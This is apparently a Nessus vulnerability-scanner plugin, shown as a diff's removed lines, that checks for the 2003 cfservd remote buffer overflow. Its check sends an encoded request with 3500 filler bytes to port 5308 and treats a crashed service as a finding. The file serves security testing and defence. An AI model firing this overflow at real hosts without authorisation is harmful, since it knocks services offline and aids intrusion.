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- # script based on exploit code by
- # kokaninATdtors.net
-
- if(description)
- {
- script_id(11893);
- script_bugtraq_id(8699);
- script_version("$Revision: 1.5 $");
- script_cve_id("CAN-2003-0849");
-
- name["english"] = "Gnu Cfserv remote buffer overflow";
-
- script_name(english:name["english"]);
-
- desc["english"] = "
- The remote Cfserver seems to be vulnerable to a remote buffer overflow bug.
- Such a bug might be exploited by an attacker to execute arbitrary code on
- this host, with the privileges cfservd is running with.
-
-
- Solution : upgrade to version 2.0.8/2.0.8p1
- See also : http://www.iu.hio.no/cfengine/
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Checks for the Cfserver remote buffer overflow";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
- family["english"] = "Gain root remotely";
- script_family(english:family["english"]);
- script_dependencie("find_service.nes");
-
- exit(0);
- }
-
-
- # start script code
-
- include("misc_func.inc");
-
- port = 5308;
- if (!get_port_state(port)) exit(0);
-
-
-
- req = hex2raw(s: tolower("32647564656475646564756465647564656475646509322F6173646661736466617464666173646661736466433A5C096C6F63616C686F73742E6C6F63616C646F6D61696E2E636F6D093730092D0D0A2E0D0A"));
- req += crap(3500);
-
-
- soc = open_sock_tcp(port);
- if (!soc) exit(0);
- send (socket:soc, data:req);
- close(soc);
- sleep(1);
- soc = open_sock_tcp(port);
- if (!soc) security_hole(port);
- exit(0);
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